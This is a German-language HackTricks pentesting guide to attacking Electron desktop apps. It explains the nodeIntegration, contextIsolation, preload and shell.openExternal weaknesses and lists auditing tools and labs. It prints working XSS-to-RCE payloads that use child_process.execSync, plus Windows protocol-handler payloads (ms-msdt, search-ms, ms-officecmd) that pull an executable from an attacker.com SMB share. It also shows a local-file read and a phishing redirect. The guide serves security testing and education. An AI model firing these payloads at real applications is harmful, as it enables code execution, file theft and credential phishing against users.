hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md

18 KiB

Electron Desktop Apps

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Einführung

Electron kombiniert ein lokales Backend (mit NodeJS) und ein Frontend (Chromium), obwohl es einige der Sicherheitsmechanismen moderner Browser vermissen lässt.

Normalerweise finden Sie den Electron-App-Code in einer .asar-Anwendung. Um den Code zu erhalten, müssen Sie ihn extrahieren:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Im Quellcode einer Electron-App, innerhalb von packet.json, finden Sie die angegebene main.js-Datei, in der die Sicherheitskonfigurationen festgelegt sind.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron hat 2 Prozessarten:

  • Hauptprozess (hat vollständigen Zugriff auf NodeJS)
  • Renderer-Prozess (sollte aus Sicherheitsgründen eingeschränkten Zugriff auf NodeJS haben)

Ein Renderer-Prozess wird ein Browserfenster sein, das eine Datei lädt:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Die Einstellungen des Renderer-Prozesses können im Hauptprozess in der main.js-Datei konfiguriert werden. Einige der Konfigurationen werden verhindern, dass die Electron-Anwendung RCE oder andere Schwachstellen hat, wenn die Einstellungen korrekt konfiguriert sind.

Die Electron-Anwendung könnte auf das Gerät zugreifen über Node-APIs, obwohl sie so konfiguriert werden kann, dass dies verhindert wird:

  • nodeIntegration - ist standardmäßig aus. Wenn es aktiviert ist, ermöglicht es den Zugriff auf Node-Funktionen vom Renderer-Prozess.
  • contextIsolation - ist standardmäßig ein. Wenn es deaktiviert ist, sind Haupt- und Renderer-Prozesse nicht isoliert.
  • preload - standardmäßig leer.
  • sandbox - ist standardmäßig aus. Es wird die Aktionen einschränken, die NodeJS ausführen kann.
  • Node-Integration in Workern
  • nodeIntegrationInSubframes - ist standardmäßig aus.
  • Wenn nodeIntegration aktiviert ist, würde dies die Verwendung von Node.js-APIs in Webseiten ermöglichen, die in iframes innerhalb einer Electron-Anwendung geladen werden.
  • Wenn nodeIntegration deaktiviert ist, werden Preloads im iframe geladen.

Beispiel für eine Konfiguration:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Einige RCE-Payloads von hier:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Capture traffic

Ändern Sie die start-main-Konfiguration und fügen Sie die Verwendung eines Proxys hinzu, wie:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Lokale Code-Injektion

Wenn Sie eine Electron-App lokal ausführen können, ist es möglich, dass Sie sie dazu bringen können, beliebigen JavaScript-Code auszuführen. Überprüfen Sie, wie in:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCE: XSS + nodeIntegration

Wenn nodeIntegration auf ein gesetzt ist, kann der JavaScript-Code einer Webseite die Node.js-Funktionen einfach durch Aufrufen von require() nutzen. Zum Beispiel ist der Weg, die Calc-Anwendung unter Windows auszuführen:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Das in dieser Einstellung angegebene Skript wird vor anderen Skripten im Renderer geladen, sodass es uneingeschränkten Zugriff auf Node-APIs hat:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Daher kann das Skript Node-Features auf Seiten exportieren:

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};

{% endcode %}

{% code title="index.html" %}

<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} Wenn contextIsolation aktiviert ist, funktioniert das nicht {% endhint %}

RCE: XSS + contextIsolation

Die contextIsolation führt die getrennten Kontexte zwischen den Webseitenskripten und dem internen JavaScript-Code von Electron ein, sodass die JavaScript-Ausführung jedes Codes sich nicht gegenseitig beeinflusst. Dies ist eine notwendige Funktion, um die Möglichkeit von RCE zu eliminieren.

Wenn die Kontexte nicht isoliert sind, kann ein Angreifer:

  1. Willkürliches JavaScript im Renderer ausführen (XSS oder Navigation zu externen Seiten)
  2. Die eingebaute Methode überschreiben, die im Preload oder im internen Code von Electron verwendet wird, um eine eigene Funktion zu erstellen
  3. Die Verwendung der überschriebenen Funktion auslösen
  4. RCE?

Es gibt 2 Stellen, an denen eingebaute Methoden überschrieben werden können: Im Preload-Code oder im internen Code von Electron:

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

Umgehung des Klickereignisses

Wenn beim Klicken auf einen Link Einschränkungen gelten, könnten Sie in der Lage sein, diese zu umgehen, indem Sie einen Mittelklick anstelle eines regulären Links klicken.

window.addEventListener('click', (e) => {

RCE über shell.openExternal

Für weitere Informationen zu diesen Beispielen siehe https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 und https://benjamin-altpeter.de/shell-openexternal-dangers/

Beim Bereitstellen einer Electron-Desktop-Anwendung ist es entscheidend, die richtigen Einstellungen für nodeIntegration und contextIsolation sicherzustellen. Es ist festgestellt, dass client-seitige Remote-Code-Ausführung (RCE), die auf Preload-Skripte oder den nativen Code von Electron aus dem Hauptprozess abzielt, mit diesen Einstellungen effektiv verhindert wird.

Wenn ein Benutzer mit Links interagiert oder neue Fenster öffnet, werden spezifische Ereignis-Listener ausgelöst, die für die Sicherheit und Funktionalität der Anwendung entscheidend sind:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Diese Listener werden vom Desktop-Anwendung überschrieben, um ihre eigene Geschäftslogik zu implementieren. Die Anwendung bewertet, ob ein navigierter Link intern oder in einem externen Webbrowser geöffnet werden soll. Diese Entscheidung wird typischerweise durch eine Funktion, openInternally, getroffen. Wenn diese Funktion false zurückgibt, bedeutet dies, dass der Link extern geöffnet werden soll, unter Verwendung der Funktion shell.openExternal.

Hier ist ein vereinfachter Pseudocode:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Die Sicherheitsbest Practices von Electron JS raten davon ab, untrusted Inhalte mit der Funktion openExternal zu akzeptieren, da dies zu RCE durch verschiedene Protokolle führen könnte. Betriebssysteme unterstützen unterschiedliche Protokolle, die RCE auslösen könnten. Für detaillierte Beispiele und weitere Erklärungen zu diesem Thema kann man auf diese Ressource verweisen, die Windows-Protokollexemplare enthält, die diese Schwachstelle ausnutzen können.

Beispiele für Windows-Protokoll-Exploits sind:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Interne Dateien lesen: XSS + contextIsolation

Das Deaktivieren von contextIsolation ermöglicht die Verwendung von <webview>-Tags, ähnlich wie <iframe>, um lokale Dateien zu lesen und zu exfiltrieren. Ein bereitgestelltes Beispiel zeigt, wie man diese Schwachstelle ausnutzt, um den Inhalt interner Dateien zu lesen:

Darüber hinaus wird eine weitere Methode zum Lesen einer internen Datei geteilt, die eine kritische Schwachstelle zum Lesen lokaler Dateien in einer Electron-Desktop-App hervorhebt. Dies beinhaltet das Injizieren eines Skripts, um die Anwendung auszunutzen und Daten zu exfiltrieren:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Alte Chromium

Wenn die chromium, die von der Anwendung verwendet wird, alt ist und es bekannte Schwachstellen gibt, könnte es möglich sein, sie zu nutzen und RCE über ein XSS zu erhalten.
Siehe ein Beispiel in diesem writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing über interne URL regex Umgehung

Angenommen, Sie haben ein XSS gefunden, aber Sie können RCE nicht auslösen oder interne Dateien stehlen, könnten Sie versuchen, es zu nutzen, um Anmeldeinformationen über Phishing zu stehlen.

Zunächst müssen Sie wissen, was passiert, wenn Sie versuchen, eine neue URL zu öffnen, indem Sie den JS-Code im Front-End überprüfen:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Der Aufruf von openInternally entscheidet, ob der Link im Desktop-Fenster geöffnet wird, da es sich um einen Link handelt, der zur Plattform gehört, oder ob er im Browser als 3rd Party-Ressource geöffnet wird.

Falls der Regex, der von der Funktion verwendet wird, anfällig für Umgehungen ist (zum Beispiel durch das Nicht-Entkommen der Punkte von Subdomains), könnte ein Angreifer das XSS ausnutzen, um ein neues Fenster zu öffnen, das sich in der Infrastruktur des Angreifers befindet und den Benutzer nach Anmeldeinformationen fragt:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Tools

  • Electronegativity ist ein Tool zur Identifizierung von Fehlkonfigurationen und Sicherheits-Anti-Patterns in Electron-basierten Anwendungen.
  • Electrolint ist ein Open-Source-VS-Code-Plugin für Electron-Anwendungen, das Electronegativity verwendet.
  • nodejsscan zur Überprüfung auf verwundbare Drittanbieterbibliotheken
  • Electro.ng: Sie müssen es kaufen

Labs

In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s finden Sie ein Labor, um verwundbare Electron-Apps auszunutzen.

Einige Befehle, die Ihnen im Labor helfen werden:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referenzen

{% hint style="success" %} Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks
{% endhint %}